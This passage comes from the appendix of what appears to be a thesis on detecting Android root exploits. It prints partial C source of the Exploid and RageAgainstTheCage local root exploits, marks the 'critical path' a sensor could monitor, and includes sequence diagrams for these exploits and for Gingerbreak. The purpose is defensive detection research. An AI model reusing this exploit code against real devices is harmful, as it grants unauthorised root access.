are hotplug events. If sendmsg(2) fails, the exploit cannot run. A sensor monitoring

sendmsg(2) for user processes using NETLINK_KOBJECT_UEVENT will detect the exploit.

Listing D.2 shows the main function source code for Exploid.

int main(int argc, char **argv, char **env)

{

/* code snipped */

printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");

memset(&snl, 0, sizeof(snl));

snl.nl_pid = 1;

snl.nl_family = AF_NETLINK;

if ((sock = socket(PF_NETLINK , SOCK_DGRAM ,

NETLINK_KOBJECT_UEVENT)) < 0)

die("[-] socket");

close(creat("loading", 0666));

if ((ofd = creat("hotplug", 0644)) < 0)

die("[-] creat");

if (write(ofd, path , strlen(path)) < 0)
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die("[-] write");

close(ofd);

symlink("/proc/sys/kernel/hotplug", "data");

snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"

"SUBSYSTEM=firmware%c"

"FIRMWARE=../../..%s/hotplug%c",

0, basedir, 0, 0, basedir, 0);

printf("[+] sending add message ...\n");

if (sendmsg(sock, &msg, 0) < 0) /* CRITICAL PATH! */

die("[-] sendmsg");

close(sock);

printf("[*] Try to invoke hotplug now, clicking at the"

" wireless\n"

"[*] settings, plugin USB key etc.\n"

"[*] You succeeded if you find /system/bin/"

"rootshell.\n"

"[*] GUI might hang/restart meanwhile"

" so be patient.\n");

sleep(3);

return 0;

}

Listing D.2: Critical path inside Exploid

D.3 Critical path for RageAgainstTheCage

For RageAgainstTheCage, the fork bomb against the kernel provides a critical

path for detection. Inside the RATC’s main function, the exploit calls fork(2) until

the application reaches RLIMIT_NPROC. By monitoring applications which reach their

RLIMIT_NPROC quota, the sensor can detect fork bombs and RATC. To further improve

detection, a sensor inside adb.c could report failed system calls to setuid(2) and

setgid(2). Listing D.3 shows the main function for RATC.

int main(int argc, char **argv)

{

pid_t adb_pid = 0, p;

int pids = 0, new_pids = 1;

int pepe[2];

char c = 0;

83



struct rlimit rl;

printf("[*] CVE-2010-EASY Android local root "

"exploit (C) 2010 by 743C\n\n");

printf("[*] checking NPROC limit ...\n");

if (getrlimit(RLIMIT_NPROC , &rl) < 0)

die("[-] getrlimit");

if (rl.rlim_cur == RLIM_INFINITY) {

printf("[-] No RLIMIT_NPROC set. Exploit would "

"just crash machine. Exiting.\n");

exit(1);

}

printf("[+] RLIMIT_NPROC={%lu, %lu}\n",

rl.rlim_cur , rl.rlim_max);

printf("[*] Searching for adb ...\n");

adb_pid = find_adb();

if (!adb_pid)

die("[-] Cannot find adb");

printf("[+] Found adb as PID %d\n", adb_pid);

printf("[*] Spawning children. Dont type anything "

"and wait for reset!\n");

printf("[*]\n[*] If you like what we are doing you "

"can send us PayPal money to\n"

"[*] <redacted> so we can compensate time,"

" effort and HW costs.\n"

"[*] If you are a company and feel like you "

"profit from our work,\n"

"[*] we also accept donations > 1000 USD!\n");

printf("[*]\n[*] adb connection will be reset. restart "

"adb server on desktop and re-login.\n");

sleep(5);

if (fork() > 0) /* CRITICAL PATH! */

exit(0);

setsid();
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pipe(pepe);

/* generate many (zombie) shell-user processes so

* restarting adb’s setuid() will fail.

* The whole thing is a bit racy, since when we kill adb

* there is one more process slot left which we need to

* fill before adb reaches setuid(). Thats why we

* fork-bomb in a seprate process.

*/

if (fork() == 0) {

close(pepe[0]);

for (;;) {

if ((p = fork()) == 0) {

exit(0);

} else if (p < 0) {

if (new_pids) {

printf("\n[+] Forked %d childs.\n", pids);

new_pids = 0;

write(pepe[1], &c, 1);

close(pepe[1]);

}

} else {

++pids;

}

}

}

close(pepe[1]);

read(pepe[0], &c, 1);

restart_adb(adb_pid);

if (fork() == 0) {

fork();

for (;;)

sleep(0x743C);

}

wait_for_root_adb(adb_pid);

return 0;

}

Listing D.3: Critical path inside RageAgainstTheCage
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Appendix: Sequence Diagrams

E.1 Exploid Sequence Diagram

Figure E.1 shows a sequence diagram of how Exploid roots the device. Section 4.5

further explains how the exploit works.

UDEVExploid OS

Copy malware file to /sqlite_stmt_journals/hotplug

UDEV runs Exploid as ROOT

Create a blank file to /sqlite_stmt_journals/loading

Create a symlink from /sqlite_stmt_journals/data to /proc/sys/kernel/hotplug

Spoof hotplug event to UDEV using PF_NETLINK

Actual hotplug event occurs

Figure E.1: Sequence Diagram of Exploid exploit

E.2 Gingerbreak Sequence Diagram

Figure E.2 shows a sequence diagram of how Gingerbreak roots the device.

Section 4.4 further explains how the exploit works.
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[ Brute Force .GOT table to replace strcmp(3) with system(3) ]

VOLDGingerbreak OS

Get Vold's PID from /proc/netlink

Vold’s PID

Get Vold’s GOT Address Range by reading ELF-32 file headers

Find SD Card Location from /etc/vold.fstab

SD Card Location

Locate system(3) and strcmp(3) symbols from /system/libc/libc.so

system(3) and strcmp(3)

Send Message over PF_NETLINK

[ON FAILURE] Check Logcat error messages for better accuracy on next attempt

Send Message Over PF_NETLNK

Vold overwrites its strcmp with system

Vold Runs Malware As Root

Vold calls system(“/path/malware”, …)
Instead of strcmp(“/path/malware”, ...)

Figure E.2: Sequence Diagram of Gingerbreak exploit
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E.3 RageAgainstTheCage Sequence Diagram

Figure E.3 shows a sequence diagram of how Gingerbreak roots the device.

Section 4.6 further explains how the exploit works.

ADBRATC OS

Get ADB’s PID from /proc/%d/cmdline 

ADB’s PID

FORK BOMB

FAILED : RLIMIT_NPROC REACHED

Find RLIMIT_NPROC

RLMIT_NPROC

Kill ADB

Restart ADB

FORK BOMB

Setuid (AID_SHELL)

FAILED : RLMIT_NPROC REACHED

Restart Process

Restart As ROOT

Figure E.3: Sequence Diagram of RATC exploit
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